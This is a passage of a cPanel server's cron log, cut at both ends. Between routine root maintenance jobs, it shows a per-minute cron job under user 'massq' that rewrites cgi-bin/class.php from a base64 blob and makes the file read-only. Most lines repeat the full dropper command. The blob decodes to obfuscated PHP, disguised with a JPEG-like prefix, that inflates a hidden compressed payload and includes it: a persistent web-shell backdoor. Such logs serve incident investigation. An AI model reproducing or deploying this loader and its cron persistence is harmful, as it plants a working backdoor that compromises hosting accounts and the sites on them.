QBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:05:01 server CROND[11415]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:05:01 server CROND[11416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:05:01 server CROND[11418]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 16:05:01 server CROND[11417]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:06:01 server CROND[11540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:07:01 server CROND[11596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:08:01 server CROND[11678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:09:01 server CROND[11730]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 16:09:01 server CROND[11731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:10:01 server CROND[11899]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 16:10:01 server CROND[11900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:10:01 server CROND[11901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:10:01 server CROND[11902]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:11:01 server CROND[12009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:12:01 server CROND[12105]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 16:12:01 server CROND[12106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:13:01 server CROND[12176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:14:01 server CROND[12233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:15:01 server CROND[12391]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 16:15:01 server CROND[12392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 16:15:01 server CROND[12393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 16:15:01 server CROND[12394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:16:01 server CROND[12505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:17:01 server CROND[12556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 16:18:01 server CROND[12609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9f